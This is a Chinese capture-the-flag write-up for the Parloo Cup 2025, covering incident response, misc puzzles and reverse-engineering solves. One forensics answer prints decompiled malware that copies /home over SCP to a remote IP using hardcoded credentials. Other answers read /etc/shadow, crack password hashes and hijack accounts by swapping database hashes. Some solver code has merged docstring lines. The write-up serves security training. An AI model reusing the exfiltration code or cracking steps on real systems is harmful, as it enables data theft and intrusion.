Parloo杯 2025

队伍名:m43Tc2x

单位:南京邮电大学

RK.10

RP.5420

应急响应

1-1 | Soap

访问webserver的/var/log//nginx/error.log.1

1-2 | Pure

sudo -i
docker ps -a
docker exec -it ec87eb8a81c7 /bin/sh
ls
cat clean.sh

palu{192.168.31.11}

1-4 | Soap

打开win10的zjl账号,猜一下密码是zjl

然后乱点到task找到flag

palu{pc3_zgsfqwerlkssaw}

1-5 | Soap

命令 Get-ChildItem -Path C:\ -Recurse -Force | Select-String -Pattern “palu{” -CaseSensitive > C:\SearchResult_Flag_ps.txt全局扫flag

palu{nizhidaowoyouduoainima}

1-7 | Soap

win10的admin账户密码为zjl@123,进去后在回收站里面的简历.exe就是钓鱼文件,转成md5

1-8 | Pure

同样那个界面访问uploads然后ls再查看shell.php

palu{hack}

1-10 | Pure

查看日志发现尝试用a.php攻击,那么就找到a.php发现webshell密码

palu{00232}

2-1 | Sean

堡垒机里点击即送

2-2 | Sean

进WAF页面发现有很多拦截数据,同时不支持导出,那就只能从后台找了,先扫一遍有哪些docker容器

safeline-pg就是数据库容器,然后查看该容器的环境变量来获得用户名密码

然后登陆进该数据库,查看所有表命中出包含palu{的字段

2-3 | Sean

进入1Panel面板发现没有数据库,选择从服务器端同步,就能发现有一张flag的表,于是选择备份,并下载到本地,打开,得到flag

2-4 | Sean

要拿攻击者IP肯定看防火墙,然后直接看日志,把可能的IP都试了一下

palu{192.168.20.107}

2-6 | Sean

Docker先进nginx的容器,然后查看日志

palu{key.txt}

2-7 | Sean

要找一些明显不会在电脑中存在的信息,那么肯定从上面泄露的文件中找。查找key.txt位置

palu{parloo@parloo.com}

2-8 | Sean

palu{192.168.20.108}

2-9 | Sean

sshserver的账户密码

同样的查看/etc/passwd和/etc/shadow

$y$j9T$bLw/vAsrL.71gbi6NQPhI/$lpN9vHI0MYs/YL19ERrpaRpdrC37f5ya520xeG9BGiC

然后用John爆破一下,靠,rockyou字典爆了一两个小时都没出,只能换方法,从弱密码上考虑,于是用parloo,2025,palu等等字段排列组合,自己生成了一个字典(这里规则要加上$,以及年份要加上2025)

然后用John爆破,最终确定密码是parloo

palu{parloo/parloo}

2-10 | Sean

palu{hi_2025_parloo_is_hack}

2-12 | Sean

2-32中讲到的那个aa木马文件,扔云沙箱里直接看到连接地址

palu{47.101.213.153}

2-15 | Sean

2-18 | Sean

显然是hack用户名,palu{d78b6f30225cdc811adfe8d4e7c9fd34}

2-19 | Sean

2-24 | Sean

Parloo03的电脑上,在菜单栏的启动项里找到了恶意维权软件

palu{svhost}

2-25 | Sean

乱逛文件夹的时候找到这个,一眼发现是用pyinstaller打包的,显然不对

所以导出,逆向pyinstaller,大致反编译得到这样的代码

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.8

import os
import paramiko
from scp import SCPClient
from pathlib import Path

def create_ssh_client(server, port, username, password, key_path = (None, None)):
    '''
    创建SSH客户端连接
    '''
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# WARNING: Decompyle incomplete


def transfer_directory(scp, local_path, remote_path):
    '''
    递归传输目录
    '''
    for item in os.listdir(local_path):
        local_item = os.path.join(local_path, item)
        if os.path.islink(local_item):
            print(f'''跳过符号链接: {local_item}''')
            continue
        remote_item = os.path.join(remote_path, item)
        if os.path.isdir(local_item):
            
            try:
                scp.mkdir(remote_item)
            finally:
                pass
            transfer_directory(scp, local_item, remote_item)
            continue
            print(f'''传输文件中: {local_item}''')
            scp.put(local_item, remote_item)
            continue
            return None



def main():
    ssh_config = {
        'server': '88.173.90.103',
        'port': 22,
        'username': 'ubuntu',
        'password': 'OOWPWPWADADA' }
    local_home = '/home'
    remote_base = '/home/ubuntu/backup_home'
# WARNING: Decompyle incomplete

if __name__ == '__main__':
    main()

palu{88.173.90.103}

2-26 | Sean

查看/var/log/parloo/command.log

palu{np85qqde.requestrepo.com}

2-27 | Sean

WAF面板查看所有利用反击序列化漏洞的攻击,尝试三个端口

palu{9999}

2-30 | Sean

cat /etc/passwd 查看用户

cat /etc/shadow 查看密码hash

John爆破hash得到123456

palu{parloohack/123456}

2-32 | Sean

找到这么一个aa文件,下载本地后被火绒识别为木马查杀,于是计算其文件的md5

palu{4123940b3911556d4bf79196cc008bf4}

2-33 | Sean

palu{X5E1yklz1oAdyHBZ}

2-34 | Sean

考虑到很多题目都是连续的,猛然发现上一题的用户名像是无意义数字,感觉有点像QQ号,于是去翻找到这个QQ号的空间,得到github ID:ParlooSEc

2-35 | Sean

于是,这个直接秒了https://github.com/ParlooSEc/fffflllgggg

palu{s5o3WkX33hptyJjk}

2-36 | Sean

palu{99}

2-37 | Sean

取证大师先把SYSTEM和SAM文件分离出来

然后使用SAMInside提取NTLM哈希值,自动爆破

palu{123456}

2-38 | Sean

从1Panel页面备份并下载gitea数据库

Ctrl+F查找palu得到flag

palu{crP1ZIVfqrkfdhGy}

2-39 | Sean

先新建一个账号,然后在数据库中把新账号的密码和两个盐值替换到hack和admin账号下面,重新上传SQL,就能用新账号密码登陆hack和admin账号。然后重启docker服务

palu{FO65SruuTukdpBS5}

2-40 | Sean

按常规,先看各个用户的默认路径下有没有奇怪的东西,ubuntu用户下没有,然后sudo su root在root用户下找到奇怪文件.a,取证大师提取出来后扔沙箱

palu{ba7c9fc1ff58b48d0df5c88d2fcc5cd1}

2-41 | Sean

IDA打开,直接函数名就写明白了实现功能

palu{simulate_network_communication}

2-43 | Sean

上图,直接从函数名得到

palu{simulate_privilege_escalation}

2-44 | Sean

palu02的聊天界面能找到

显然使用者就是被钓鱼的用户,用户名Parloo-子怡

palu{Parloo-子怡}

2-45 | Sean

还是上图,显示了文件路径

palu{C:\Users\Public\Nwt\cache\recv\Parloo-沉沉}

2-46 | Sean

提取回执.exe,直接扔沙箱

palu{47.101.213.153}

2-47 | Sean

palu{admin/admin@qwer}

Misc

签到 | Soap

关注三个微信公众号拿三段flag

时间循环的信使 | Sean

题目描述说的很明白,按时间排序,然后和flag头的十六进制70 61 6c 75 7b对比了一下发现就是按顺序排列的

from Crypto.Util.number import *

lis = []
with open(r"C:\Users\SeanL\Downloads\timeloop.log", "r") as f:
    while True:
        if not (tmp := f.readline()):
            break
        tmp = tmp.strip().split("|")
        lis += [(int(tmp[0]), tmp[1])]

lis.sort(key=lambda x: x[0])

ans = ""
for i in lis:
    if len(set(i[1])) == 1:
        ans += i[1][0]
print(long_to_bytes(int(ans, 16)))

# palu{Time_1s_cycl1c@l_0x}

时间折叠(TimeFold Paradox) | Sean

试了一下感觉像是异或了一个数,发现确实如此,key是142

with open(r"C:\Users\SeanL\Downloads\timefold.log", "r") as f:
    lines = [line.strip().split(" ") for line in f if line.strip()]

ans = ""
for i in lines[1:-1]:
    ans += chr(int(i[-2][-2:],16)^142)
print(ans)

# palu{This_is_A_Sample_Flag_Change_Me!!}

时空交织的密语 | Sean

一样,观察一下16进制就发现每4个字节的最后一位十六进制组合在一起就能拼成flag头,70 61 6c 75 7b

from Crypto.Util.number import *

tmp = open(r"C:\Users\SeanL\Downloads\timestream.bin", "rb").read()

ans = ""
for i in range(7,len(tmp)-1,4):
    ans += hex(tmp[i]%0x10)[2:]

print(long_to_bytes(int(ans,16)))

palu{Time_1s_B1nary_Whisper}

TopSecret | Sean

整体翻了一下发现在37页有文字重叠,用ps打开把盖在上面的文字挪开

palu{You_re_a_real_50w}

screenshot | Sean

ps大法,直接曝光到有细微区别,然后颜色曲线直接拉满

几何闪烁的秘密 | Sean

先把每一帧出现的字母按顺序提取出来,发现如果按竖着看,就和TopSecret里的Base64一样开头了

cYbb
GX2W
FNZV
s0f0
XX2n
tJVl
tfvg
cYbb
FNZV
s0f0
dZZc
XX2n
tfv9
cYbb
GX2W
FNZV
dZZc
XX2n
tJVl
tfvg

显然中间有几个是扰乱项,所以要剔除,也就是最终只取头尾各四个得到

cYbb
GX2W
FNZV
s0f0
dZZc
XX2n
tJVl
tfvg

然后Base64得到palu{master_of_geometry}

量子迷宫 | Sean

附件名字提醒了是b85,直接将全文放在cyberchef里面,然后得到一串描述量子状态的文字

然后将每个量子之后的01拼在一起,就是flag

from Crypto.Util.number import *

s = """
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Y Gate PHOTON: 2492°
QUBIT|1⟩ → X Gate
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → X Gate PHOTON: 9059°
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → Y Gate PHOTON: 3236°
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → Y Gate PHOTON: 0343°
QUBIT|1⟩ → X Gate
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Z Gate PHOTON: 4924°
QUBIT|1⟩ → Z Gate PHOTON: 9845°
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Z Gate PHOTON: 8636°
QUBIT|1⟩ → Z Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → Z Gate
QUBIT|1⟩ → Z Gate PHOTON: 3338°
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → Y Gate PHOTON: 9330°
QUBIT|1⟩ → X Gate PHOTON: 6444°
QUBIT|1⟩ → Z Gate PHOTON: 7332°
QUBIT|1⟩ → Z Gate PHOTON: 2802°
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Y Gate PHOTON: 7495°
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → X Gate
QUBIT|1⟩ → Z Gate PHOTON: 2260°
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → Y Gate PHOTON: 3385°
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → Z Gate
QUBIT|1⟩ → Y Gate
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → X Gate PHOTON: 6747°
QUBIT|0⟩ → Z Gate PHOTON: 7225°
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → X Gate PHOTON: 1308°
QUBIT|1⟩ → Y Gate PHOTON: 3430°
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → Z Gate PHOTON: 9519°
QUBIT|0⟩ → Z Gate
QUBIT|1⟩ → X Gate
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → X Gate PHOTON: 0681°
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → Z Gate PHOTON: 5267°
QUBIT|0⟩ → Z Gate
QUBIT|1⟩ → Z Gate
QUBIT|1⟩ → X Gate PHOTON: 0578°
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → X Gate
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → Y Gate PHOTON: 4193°
QUBIT|1⟩ → Y Gate PHOTON: 7897°
QUBIT|0⟩ → Z Gate
QUBIT|1⟩ → Z Gate
QUBIT|1⟩ → Z Gate PHOTON: 3655°
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Y Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → X Gate PHOTON: 7451°
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → X Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → X Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → Y Gate PHOTON: 3026°
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Z Gate PHOTON: 0545°
QUBIT|1⟩ → Z Gate PHOTON: 3109°
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → Y Gate PHOTON: 5961°
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → Z Gate
QUBIT|1⟩ → Y Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → Y Gate PHOTON: 3891°
QUBIT|0⟩ → Z Gate PHOTON: 3526°
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → Z Gate PHOTON: 0700°
QUBIT|0⟩ → Y Gate PHOTON: 2206°
QUBIT|1⟩ → Z Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → Y Gate PHOTON: 5413°
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → X Gate PHOTON: 5012°
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Z Gate
QUBIT|1⟩ → X Gate PHOTON: 4919°
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → X Gate PHOTON: 7619°
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → Y Gate PHOTON: 4026°
QUBIT|1⟩ → Y Gate PHOTON: 1952°
QUBIT|1⟩ → X Gate
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → X Gate PHOTON: 7901°
QUBIT|1⟩ → Y Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Z Gate PHOTON: 3892°
QUBIT|1⟩ → Z Gate
QUBIT|1⟩ → Z Gate PHOTON: 4439°
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → Z Gate PHOTON: 3298°
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → X Gate PHOTON: 9048°
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → Y Gate PHOTON: 0633°
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → X Gate PHOTON: 8723°
QUBIT|0⟩ → X Gate PHOTON: 4862°
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → Y Gate PHOTON: 3813°
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Y Gate PHOTON: 9300°
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → X Gate
QUBIT|1⟩ → Z Gate
QUBIT|1⟩ → Z Gate PHOTON: 0159°
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → X Gate PHOTON: 9077°
QUBIT|1⟩ → Z Gate
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → X Gate PHOTON: 0583°
QUBIT|0⟩ → Z Gate
QUBIT|1⟩ → Y Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → X Gate PHOTON: 9046°
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → Z Gate
QUBIT|1⟩ → Y Gate PHOTON: 0098°
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → X Gate PHOTON: 2017°
QUBIT|1⟩ → Y Gate PHOTON: 0108°
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → X Gate PHOTON: 7067°
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Y Gate
QUBIT|1⟩ → Y Gate PHOTON: 6973°
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → Z Gate PHOTON: 1550°
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → Z Gate
QUBIT|1⟩ → X Gate
QUBIT|1⟩ → Y Gate PHOTON: 4732°
QUBIT|0⟩ → Z Gate PHOTON: 6940°
QUBIT|1⟩ → X Gate PHOTON: 1123°
QUBIT|1⟩ → Z Gate PHOTON: 0032°
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → X Gate PHOTON: 6720°
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → Y Gate PHOTON: 0875°
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → X Gate PHOTON: 8508°
QUBIT|1⟩ → Y Gate
QUBIT|1⟩ → Z Gate
QUBIT|1⟩ → X Gate PHOTON: 9894°
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → X Gate PHOTON: 7651°
QUBIT|1⟩ → X Gate
QUBIT|1⟩ → Z Gate PHOTON: 7204°
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → Z Gate
QUBIT|1⟩ → X Gate
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → Z Gate
QUBIT|1⟩ → X Gate PHOTON: 2550°
QUBIT|1⟩ → X Gate PHOTON: 6890°
QUBIT|1⟩ → Y Gate PHOTON: 8092°
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → X Gate PHOTON: 0575°
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Z Gate PHOTON: 9590°
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Z Gate
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → Z Gate PHOTON: 6469°
QUBIT|0⟩ → Z Gate
QUBIT|1⟩ → Y Gate
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → Y Gate PHOTON: 7200°
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Z Gate PHOTON: 4411°
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → Z Gate PHOTON: 8476°
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → Y Gate PHOTON: 3776°
QUBIT|1⟩ → X Gate PHOTON: 8227°
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → Y Gate PHOTON: 8469°
QUBIT|1⟩ → Y Gate PHOTON: 6517°
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → Y Gate PHOTON: 3588°
QUBIT|1⟩ → Z Gate PHOTON: 8744°
QUBIT|0⟩ → Y Gate PHOTON: 8223°
QUBIT|1⟩ → Y Gate PHOTON: 2057°
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → Z Gate PHOTON: 9726°
QUBIT|0⟩ → Z Gate PHOTON: 7367°
QUBIT|1⟩ → Z Gate PHOTON: 5832°
QUBIT|1⟩ → X Gate PHOTON: 3121°
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Y Gate PHOTON: 0258°
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → Z Gate
QUBIT|1⟩ → Z Gate
QUBIT|1⟩ → Y Gate
QUBIT|1⟩ → Z Gate
QUBIT|1⟩ → Y Gate
QUBIT|1⟩ → Y Gate PHOTON: 7832°
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → Y Gate PHOTON: 0422°
"""

s = s.split('\n')[1:-1]
res = ""
for i in s:
    res += i[6]
print(long_to_bytes(int(res, 2)))

# palu{aea437c12b149750383fe56727ec5344}

Reverse

encrypted | Soap

简单异或,用前缀palu{猜一下异或数字

a='qcoq~Vh{e~bccocH^@Lgt{gt|g'
for i in range(len(a)):
    print(chr(ord(a[i])^(i+1)),end='')
# palu{PosltionalXOR_sample}

CatchPalu | Soap

这一段hook了messageboxa的函数地址,在这段代码之后调用的messageboxa都会变成sub_401360

动态调试看看

这里flag输入要输入附件里面的假flag,也就是palu{P1au_D0nt_Bel1eve},才能进入下面的messageboxa逻辑

进去就可以发现真正的比对函数,这里给硬编码的v8加密,似乎是魔改rc4,但不需要编写代码,直接进函数sub_CE1270,等函数走完看v8内存就行

ps:这里我做题的时候密钥被改变了,我当时手动修改回了forpalu,但这里复现写wp的时候密钥却是正确的,不知道什么情况…

Asymmetric | Soap

又是一个go,长得很丑得耐心点看

动态调试慢慢分析,可以发现其实是一个rsa,数据都给了,但是要因式分解,随便找个网站分一下

from Crypto.Util.number import inverse
N_str = "100000000000000106100000000000003093"
e = 65537
C_str = "94846032130173601911230363560972235"

N = int(N_str)
C = int(C_str)
p1 = 3
p2 = 47
p3 = 2287
p4 = 3101092514893
p5 = 100000000000000003
phi_N = (p1 - 1) * (p2 - 1) * (p3 - 1) * (p4 - 1) * (p5 - 1)
d = inverse(e, phi_N)

M = pow(C, d, N)
M_str = str(M)

print("计算出的输入字符串是:", M_str)
# 2279348573780051194351488552157565
a=2279348573780051194351488552157565
print(a.to_bytes(16,'big'))
# palu{3a5Y_R$A}

PaluArray | Soap

简单的crackme,只不过函数长得很恶心

先根据字符串定位到主函数逻辑

其实就是要让v13=1145141919810

至于v13的生成逻辑,要看sub_7FF6987E1994

简单来说,就是根据传入的v4,在off_7FF6987E9B48里找索引值

动态调试可以发现,v4其实就是我们输入的字符串,那么先解出来我们输入的字符串是什么

a=[0x50,0x61,0x6C,0x75,0x5F,0x39,0x39,0x36,0x21,0x3F]
b='1145141919810'
for i in b:
    print(chr(a[int(i,10)]),end='')
# aa_9a_a?a?!aP

把这个输入就得到flag了

PaluFlat | Soap

.com文件,用7zip解压,解压得到一个1g的文件,有点吓人。。。

不过主要逻辑不难

我们的输入经过函数401550加密,再与硬编码的密文比对即可

sub_401550被控制流平坦化混淆,有些难看

但我把这个函数丢给ai它直接就分析出来了…运气还行

enc=[0x54,0x84,0x54,0x44,0xA4,0xB2,0x84,0x54,0x62,0x32,0x8F,0x54,0x62,0xB2,0x54,0x3,0x14,0x80,0x43]
def decrypt(ciphertext):
    key1 = "palu"
    key2 = "flat"
    plaintext = []
    for i, c in enumerate(ciphertext):
        # 选择密钥
        key = key1 if i % 2 == 0 else key2
        k = key[i % len(key)]
        # 解密步骤
        v11 = ~c & 0xFF          # 取反(注意处理符号)
        v11 = (v11 + 85) & 0xFF  # 加 85
        v11 = ((v11 << 4) | (v11 >> 4)) & 0xFF  # 交换高低四位
        plaintext.append(chr(v11 ^ ord(k)))      # 异或密钥
    return ''.join(plaintext)

print(decrypt(enc))

# palu{Fat_N0t_Flat!}

palugogogo | Soap

简单的go逆向,我用的ida9版本可以直接显示函数符号,不知道低版本的怎么样,go逆向就是函数长得太丑了很难看,但动态调试分析并不难

这里一开始有个反调试,hook掉返回值过掉就行

具体比对逻辑在下面

输入的flag经过encrypt这个函数加密,再与硬编码的密文比对,其中value与我们输入的无关,它是程序内部自生成的密钥,直接动调拿就可以

至于这个加密也是耐心动调分析就能出,一开始我测试了一下,发现是逐字节加密,加密逻辑如下

a='palu{asdasdsajkhfjasf}'
value=0x4f
for i in range(len(a)):
    print(hex(ord(a[i])+value+(i%5)),end=',')

照着解密就可以

enc=[0xbf,0xb1,0xbd,0xc7,0xce,0x96,0x80,0x98,0x82,0x9a,0x7f,0xaf,0xc1,0xb3,0xbf,0xc4,0xcd]
value=0x4f
for i in range(len(enc)):
    print(chr(enc[i]-value-(i%5)),end='')
# palu{G0G0G0_palu}

ParlooChecker | Soap

个人感觉最难的一道题,太考验耐心了

apk逆向,但jadx看不出东西,转到jeb

主要加密比对逻辑被藏在本地c++库parloo里面,解压apk看一下so文件,so文件的导出表只有一个函数,就是oncreat3

函数没任何符号,动调so文件又有些麻烦,只能一个个看了,前面的没什么用,直接看else部分

sub_29390、sub_291D0两个函数进行初始化,这部分使用rc4创建了后面加密要用的密钥,后面有很多函数都不用过多分析,大多起到混淆、分配内存或是格式化字符串作用

sub_28D30里面藏了一个xtea

大致逻辑如上,主要调用rc4生成密钥之类的,再调用tea加密原文,大多数函数都没有任何作用

ps:如果不用AI我可能要花更多时间。。。

import struct
import sys

a=[0x99,0xDD,0x56,0xFF,0x6D,0xD9,0x55,0x54,0x42,0x4D,0x79,0x1A,0x34,0xB7,0x81,0x2F]
UNK_10170 = b''
for i in a:
    UNK_10170+=i.to_bytes(1)
b=[0x87,0xC1,0x56,0xC0,0x4C,0xF4,0x63,0x4F]
UNK_10180 = b''
for i in b:
    UNK_10180+=i.to_bytes(1)
enc=[0xA9,0xB,0x5C,0x1C,0xA3,0x41,0x88,0xCA,0x66,0xD9,0x77,0x1D,0x78,0x3,0x8E,0x7A,0xBA,0x7B,0xD4,0x90,0xCD,0x50,0x7,0x83,0x41,0x4A,0x82,0x9C,0x79,0x1D,0xCC,0x6F,0x9D,0x2F,0x39,0x2D,0xA2,0xDA,0x83,0x1B]
TARGET_CIPHERTEXT = b''
for i in enc:
    TARGET_CIPHERTEXT+=i.to_bytes(1)
def rc4_ksa(key):
    """RC4 Key-Scheduling Algorithm (based on sub_2C740)"""S = list(range(256))
    j = 0
    key_bytes = key
    key_len = len(key_bytes)

    for i in range(256):
        j = (j + S[i] + key_bytes[i % key_len]) % 256
        S[i], S[j] = S[j], S[i]
    return S

def rc4_prga_sub_293E0(initial_S, input_data):
    """RC4 Pseudo-Random Generation Algorithm (based on sub_293E0 loop)"""S = list(initial_S)
    output_data = bytearray(len(input_data))

    v8 = 0
    v7 = 0

    for k in range(len(input_data)):
        v8 = (v8 + 1) % 256
        v7 = (v7 + S[v8]) % 256
        S[v8], S[v7] = S[v7], S[v8]

        keystream_index = (S[v7] + S[v8]) % 256
        keystream_byte = S[keystream_index]
        output_data[k] = keystream_byte ^ input_data[k]

    return bytes(output_data)

XTEA_DELTA_CONSTANT = 1640531527 # 0x61C88647

def calculate_encryption_v4_sequence(key_bytes):
    """计算加密轮次中 v4 值的序列。"""v4_sequence = [0]
    v4_current = 0
    k = [
        struct.unpack('<I', key_bytes[i*4 : i*4+4])[0]
        for i in range(4)
    ]

    for round_index in range(32):
        k2_index = round_index & 3
        k2 = k[k2_index]
        v4_update_term = (round_index ^ k2) - XTEA_DELTA_CONSTANT
        v4_current = (v4_current + v4_update_term) & 0xFFFFFFFF
        v4_sequence.append(v4_current)

    return v4_sequence

def decrypt_block_round(v6_end, v5_end, v4_start_of_round, v4_end_of_round, round_index, key_bytes):
    """解密定制 XTEA 变种的一轮。"""v6_end = v6_end & 0xFFFFFFFF
    v5_end = v5_end & 0xFFFFFFFF
    v4_start_of_round = v4_start_of_round & 0xFFFFFFFF
    v4_end_of_round = v4_end_of_round & 0xFFFFFFFF

    k = [
        struct.unpack('<I', key_bytes[i*4 : i*4+4])[0]
        for i in range(4)
    ]

    k3_index = (v4_end_of_round >> 11) & 3
    k3 = k[k3_index]
    intermediate_term2 = v6_end + ((v6_end >> 5) ^ (v6_end << 4))
    term2 = (k3 + v4_end_of_round) ^ intermediate_term2
    v5_start = (v5_end - term2) & 0xFFFFFFFF

    k1_index = v4_start_of_round & 3
    k1 = k[k1_index]
    intermediate_term1 = v5_start + ((v5_start >> 5) ^ (v5_start << 4))
    term1 = (k1 + v4_start_of_round) ^ intermediate_term1
    v6_start = (v6_end - term1) & 0xFFFFFFFF

    return (v6_start, v5_start)

def cbc_decrypt(ciphertext, key, iv):
    """使用定制 XTEA 变种以 CBC 模式解密密文。"""block_size = 8 # 字节
    if len(ciphertext) % block_size != 0:
        print(f"错误:密文长度 ({len(ciphertext)}) 不是分组大小 ({block_size}) 的倍数。无法执行 CBC 解密。")
        sys.exit(1)

    v4_sequence = calculate_encryption_v4_sequence(key)

    plaintext_bytes = bytearray()
    previous_ciphertext_block = iv

    for i in range(0, len(ciphertext), block_size):
        current_ciphertext_block = ciphertext[i : i + block_size]

        c0, c1 = struct.unpack('<II', current_ciphertext_block)

        decrypted_block_state = (c0, c1)

        for reverse_round_index in range(31, -1, -1):
             v4_start = v4_sequence[reverse_round_index]
             v4_end = v4_sequence[reverse_round_index + 1]

             decrypted_block_state = decrypt_block_round(
                 decrypted_block_state[0], decrypted_block_state[1],
                 v4_start, v4_end,
                 reverse_round_index,
                 key
             )

        p_prime_bytes = struct.pack('<II', decrypted_block_state[0], decrypted_block_state[1])

        plaintext_block = bytes([
            p_prime_bytes[j] ^ previous_ciphertext_block[j] for j in range(block_size)
        ])

        plaintext_bytes.extend(plaintext_block)

        previous_ciphertext_block = current_ciphertext_block

